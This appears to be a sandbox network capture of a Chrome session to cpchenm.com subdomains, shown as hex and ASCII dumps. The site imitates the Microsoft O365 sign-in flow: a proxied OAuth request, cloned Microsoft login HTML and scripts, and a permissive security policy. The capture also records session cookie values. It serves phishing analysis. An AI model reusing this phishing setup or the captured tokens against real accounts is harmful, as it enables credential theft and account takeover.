50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162947Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002rtyX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:47 UTC	2001	IN	Data Raw: 32 65 63 32 0d 0a 2f 2a 21 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 Data Ascii: 2ec2/*! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and
2024-11-12 16:29:47 UTC	559	IN	Data Raw: 6f 74 65 28 6e 29 2b 28 67 61 70 3f 22 3a 20 22 3a 22 3a 22 29 2b 6f 29 29 7d 7d 65 6c 73 65 7b 66 6f 72 28 6e 20 69 6e 20 73 29 7b 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 73 2c 6e 29 26 26 28 6f 3d 73 74 72 28 6e 2c 73 29 29 26 26 75 2e 70 75 73 68 28 71 75 6f 74 65 28 6e 29 2b 28 67 61 70 3f 22 3a 20 22 3a 22 3a 22 29 2b 6f 29 7d 7d 72 65 74 75 72 6e 20 6f 3d 30 3d 3d 3d 75 2e 6c 65 6e 67 74 68 3f 22 7b 7d 22 3a 67 61 70 3f 22 7b 5c 6e 22 2b 67 61 70 2b 75 2e 6a 6f 69 6e 28 22 2c 5c 6e 22 2b 67 61 70 29 2b 22 5c 6e 22 2b 61 2b 22 7d 22 3a 22 7b 22 2b 75 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 7d 22 2c 67 61 70 3d 61 2c 6f 7d 7d 0a 76 61 72 20 72 78 5f 6f 6e 65 3d 2f 5e 5b 5c 5d 2c 3a 7b Data Ascii: ote(n)+(gap?": ":":")+o))}}else{for(n in s){Object.prototype.hasOwnProperty.call(s,n)&&(o=str(n,s))&&u.push(quote(n)+(gap?": ":":")+o)}}return o=0===u.length?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+a+"}":"{"+u.join(",")+"}",gap=a,o}}var rx_one=/^[\],:{
2024-11-12 16:29:47 UTC	4716	IN	Data Raw: 72 78 5f 64 61 6e 67 65 72 6f 75 73 3d 2f 5b 5c 75 30 30 30 30 5c 75 30 30 61 64 5c 75 30 36 30 30 2d 5c 75 30 36 30 34 5c 75 30 37 30 66 5c 75 31 37 62 34 5c 75 31 37 62 35 5c 75 32 30 30 63 2d 5c 75 32 30 30 66 5c 75 32 30 32 38 2d 5c 75 32 30 32 66 5c 75 32 30 36 30 2d 5c 75 32 30 36 66 5c 75 66 65 66 66 5c 75 66 66 66 30 2d 5c 75 66 66 66 66 5d 2f 67 0a 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 44 61 74 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 4a 53 4f 4e 26 26 28 44 61 74 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 74 68 69 73 2e 76 61 6c 75 65 4f 66 28 29 29 3f 74 68 69 73 2e 67 65 74 55 54 43 46 75 6c 6c 59 65 61 72 28 29 2b 22 2d 22 2b Data Ascii: rx_dangerous=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;"function"!=typeof Date.prototype.toJSON&&(Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+
2024-11-12 16:29:47 UTC	4700	IN	Data Raw: 28 66 2c 22 22 29 29 2c 6e 75 6c 6c 3d 3d 3d 72 26 26 28 72 3d 22 22 29 2c 72 7d 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 63 2c 65 29 7d 3b 76 61 72 20 70 3d 2f 5b 5e 5c 77 2e 2c 2d 5d 2f 67 3b 73 2e 65 6e 63 6f 64 65 58 6d 6c 41 74 74 72 69 62 75 74 65 3d 73 2e 65 6e 63 6f 64 65 48 74 6d 6c 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 70 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 22 26 23 22 2c 65 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 22 3b 22 5d 2e 6a 6f 69 6e 28 22 22 29 7d 29 7d 3b 76 61 72 20 6c 3d 2f 5b 5e 5c 77 20 2e 2c 2d 5d 2f 67 3b 73 2e 65 6e 63 6f 64 65 58 6d 6c 3d 73 2e 65 6e Data Ascii: (f,"")),null===r&&(r=""),r}var t=arguments;return this.replace(c,e)};var p=/[^\w.,-]/g;s.encodeXmlAttribute=s.encodeHtmlAttribute=function(){return this.replace(p,function(e){return["&#",e.charCodeAt(0),";"].join("")})};var l=/[^\w .,-]/g;s.encodeXml=s.en
2024-11-12 16:29:47 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49210	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:48 UTC	472	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:49 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:49 GMT Etag: 0x8DA5944A4FF258E Last-Modified: Tue, 28 Jun 2022 20:27:38 GMT
2024-11-12 16:29:49 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 34 39 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 73 30 72 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162949Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002s0rX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:49 UTC	2001	IN	Data Raw: 32 34 34 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 28 78 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 7c 7c 22 22 29 2e 63 6f 6e 63 61 74 28 22 2f 2f 22 2c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 69 66 28 65 29 7b 74 72 79 7b 76 61 72 20 72 3d 2f 66 75 6e 63 74 69 6f 6e 20 28 2e 7b 31 2c 7d 29 5c 28 2f 2c 6e 3d 72 2e 65 78 65 63 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 31 3f 6e 5b 31 5d 3a 22 22 7d 63 61 74 63 68 28 65 29 7b 7d 7d 72 65 74 75 72 6e 22 22 7d 66 75 6e 63 74 69 6f Data Ascii: 2445!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}functio
2024-11-12 16:29:49 UTC	559	IN	Data Raw: 63 61 74 63 68 28 65 29 7b 7d 76 61 72 20 75 3d 22 22 3b 69 66 28 72 29 7b 0a 76 61 72 20 64 3d 61 2e 61 72 67 73 7c 7c 61 2e 61 72 67 75 6d 65 6e 74 73 3b 64 26 26 28 75 3d 67 28 73 2c 64 29 29 7d 76 61 72 20 63 3d 76 28 61 2c 6e 29 3b 75 26 26 28 63 2b 3d 22 20 2d 2d 20 61 72 67 73 3a 5b 22 2b 75 2b 22 5d 22 29 2c 6f 2e 70 75 73 68 28 63 29 7d 72 65 74 75 72 6e 20 6f 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 54 3d 21 30 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 2e 73 75 62 73 74 72 69 6e 67 28 65 2e 69 6e 64 65 78 4f 66 28 22 28 22 29 2b 31 2c 65 2e 69 6e 64 65 78 4f 66 28 22 29 22 29 29 2c 74 3d 6e 3f 6e 2e 73 70 6c 69 74 28 22 2c 22 29 3a 5b 5d 2c 6f 3d 74 2e 6c 65 6e 67 74 68 2c 69 3d 5b 5d 3b 69 66 28 72 29 7b 66 6f 72 Data Ascii: catch(e){}var u="";if(r){var d=a.args\|\|a.arguments;d&&(u=g(s,d))}var c=v(a,n);u&&(c+=" -- args:["+u+"]"),o.push(c)}return o}function f(){T=!0}function g(e,r){var n=e.substring(e.indexOf("(")+1,e.indexOf(")")),t=n?n.split(","):[],o=t.length,i=[];if(r){for
2024-11-12 16:29:49 UTC	4716	IN	Data Raw: 43 26 26 43 2e 53 61 66 61 72 69 3f 72 3a 65 2e 74 6f 53 74 72 69 6e 67 28 29 3a 22 62 6f 6f 6c 65 61 6e 22 3d 3d 3d 72 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 3d 72 3f 65 2e 74 6f 53 74 72 69 6e 67 28 29 3a 22 5b 22 2b 72 2b 22 5d 22 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 6c 65 6e 67 74 68 3e 72 26 26 28 65 3d 65 2e 73 75 62 73 74 72 28 30 2c 72 2d 33 29 2b 22 2e 2e 2e 22 29 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 69 66 28 65 29 7b 76 61 72 20 74 3d 65 2e 74 6f 53 74 72 69 6e 67 3f 65 2e 74 6f 53 74 72 69 6e 67 28 29 3a 22 49 6e 76 61 6c 69 64 4d 65 74 68 6f 64 28 29 22 2c 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 22 29 22 29 2b 31 2c 69 3d 38 3d 3d 3d 74 2e 69 6e 64 Data Ascii: C&&C.Safari?r:e.toString():"boolean"===r\|\|"number"===r?e.toString():"["+r+"]"}function h(e,r){return e&&e.length>r&&(e=e.substr(0,r-3)+"..."),e}function v(e,r){var n=null;if(e){var t=e.toString?e.toString():"InvalidMethod()",o=t.indexOf(")")+1,i=8===t.ind
2024-11-12 16:29:49 UTC	2015	IN	Data Raw: 63 74 65 64 20 6b 6e 6f 77 6e 20 73 6f 75 72 63 65 73 22 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 64 2e 65 78 70 53 72 63 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 61 2b 3d 22 5c 6e 20 20 2d 20 22 2b 64 2e 65 78 70 53 72 63 73 5b 63 5d 7d 7d 7d 7d 7d 76 61 72 20 6c 3d 6e 28 69 2c 52 2c 21 30 29 3b 69 66 28 6c 26 26 28 61 2b 3d 22 5c 6e 54 68 65 20 73 74 61 63 6b 20 74 72 61 63 65 20 63 6f 6e 74 61 69 6e 73 20 61 6e 20 69 64 65 6e 74 69 66 69 65 64 20 73 74 72 69 6e 67 20 74 6f 20 62 65 20 69 67 6e 6f 72 65 64 5c 6e 20 20 2d 20 22 2b 6c 29 2c 6c 3d 6e 28 72 2c 24 2c 21 30 29 2c 6c 26 26 28 61 2b 3d 22 5c 6e 54 68 65 20 6d 65 73 73 61 67 65 20 63 6f 6e 74 61 69 6e 73 20 61 6e 20 69 64 65 6e 74 69 66 69 65 64 20 73 74 72 69 6e 67 20 74 6f 20 62 65 20 69 Data Ascii: cted known sources";for(var c=0;c<d.expSrcs.length;c++){a+="\n - "+d.expSrcs[c]}}}}}var l=n(i,R,!0);if(l&&(a+="\nThe stack trace contains an identified string to be ignored\n - "+l),l=n(r,$,!0),l&&(a+="\nThe message contains an identified string to be i
2024-11-12 16:29:49 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49211	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:49 UTC	2484	OUT	GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-12 16:29:49 UTC	1174	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Cache-Control: no-store, no-cache Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:48 GMT Expires: -1 Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache
2024-11-12 16:29:49 UTC	1490	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 62 75 69 64 3d 31 2e 41 58 51 41 4d 65 5f 4e 2d 42 36 6a 53 6b 75 54 35 46 39 58 48 70 45 6c 57 67 49 41 41 41 41 41 41 50 45 50 7a 67 41 41 41 41 41 41 41 41 41 42 41 41 42 30 41 41 2e 41 51 41 42 47 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 49 50 33 43 38 67 37 4b 77 75 69 4d 37 45 76 5f 72 73 68 6f 54 68 63 6e 2d 36 34 56 49 47 64 54 4e 6c 64 4c 73 5a 75 5f 52 2d 62 77 45 58 66 58 36 77 50 62 46 52 49 31 4b 6d 39 52 31 4f 42 64 50 64 41 7a 45 30 6a 48 5a 74 69 45 55 56 30 65 69 61 69 58 66 59 51 6b 6f 61 34 79 33 42 52 37 33 4d 64 Data Ascii: Referrer-Policy: strict-origin-when-cross-originSet-Cookie: buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md
2024-11-12 16:29:49 UTC	873	IN	Data Raw: 39 63 32 62 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4f 33 36 35 20 73 69 67 6e 20 69 6e 20 74 6f 20 63 6f 6e 74 69 6e 75 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 6f 20 76 69 65 77 20 74 68 69 Data Ascii: 9c2b... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><meta property="og:title" content="O365 sign in to continue" /><meta property="og:description" content="To view thi
2024-11-12 16:29:49 UTC	559	IN	Data Raw: 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 32 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 Data Ascii: t-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes"> <meta http-equiv="Pragma" content
2024-11-12 16:29:49 UTC	4716	IN	Data Raw: 63 68 65 6e 6d 2e 63 6f 6d 22 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 50 61 67 65 49 44 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 53 69 74 65 49 44 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 52 65 71 4c 43 22 20 63 6f 6e 74 65 6e 74 3d 22 31 30 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4c 6f 63 4c 43 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 2d 55 53 22 20 2f 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e Data Ascii: chenm.com"> <meta name="PageID" content="ConvergedSignIn" /> <meta name="SiteID" content="" /> <meta name="ReqLC" content="1033" /> <meta name="LocLC" content="en-US" /> <meta name="format-detection" content="telephone=n
2024-11-12 16:29:49 UTC	5895	IN	Data Raw: 69 65 72 72 61 20 4c 65 6f 6e 65 7e 32 33 32 21 21 21 53 47 7e 53 69 6e 67 61 70 6f 72 65 7e 36 35 21 21 21 53 58 7e 53 69 6e 74 20 4d 61 61 72 74 65 6e 7e 31 21 21 21 53 4b 7e 53 6c 6f 76 61 6b 69 61 7e 34 32 31 21 21 21 53 49 7e 53 6c 6f 76 65 6e 69 61 7e 33 38 36 21 21 21 53 42 7e 53 6f 6c 6f 6d 6f 6e 20 49 73 6c 61 6e 64 73 7e 36 37 37 21 21 21 53 4f 7e 53 6f 6d 61 6c 69 61 7e 32 35 32 21 21 21 5a 41 7e 53 6f 75 74 68 20 41 66 72 69 63 61 7e 32 37 21 21 21 53 53 7e 53 6f 75 74 68 20 53 75 64 61 6e 7e 32 31 31 21 21 21 45 53 7e 53 70 61 69 6e 7e 33 34 21 21 21 4c 4b 7e 53 72 69 20 4c 61 6e 6b 61 7e 39 34 21 21 21 53 48 7e 53 74 20 48 65 6c 65 6e 61 2c 20 41 73 63 65 6e 73 69 6f 6e 2c 20 61 6e 64 20 54 72 69 73 74 61 6e 20 64 61 20 43 75 6e 68 61 7e 32 Data Ascii: ierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~421!!!SI~Slovenia~386!!!SB~Solomon Islands~677!!!SO~Somalia~252!!!ZA~South Africa~27!!!SS~South Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~2
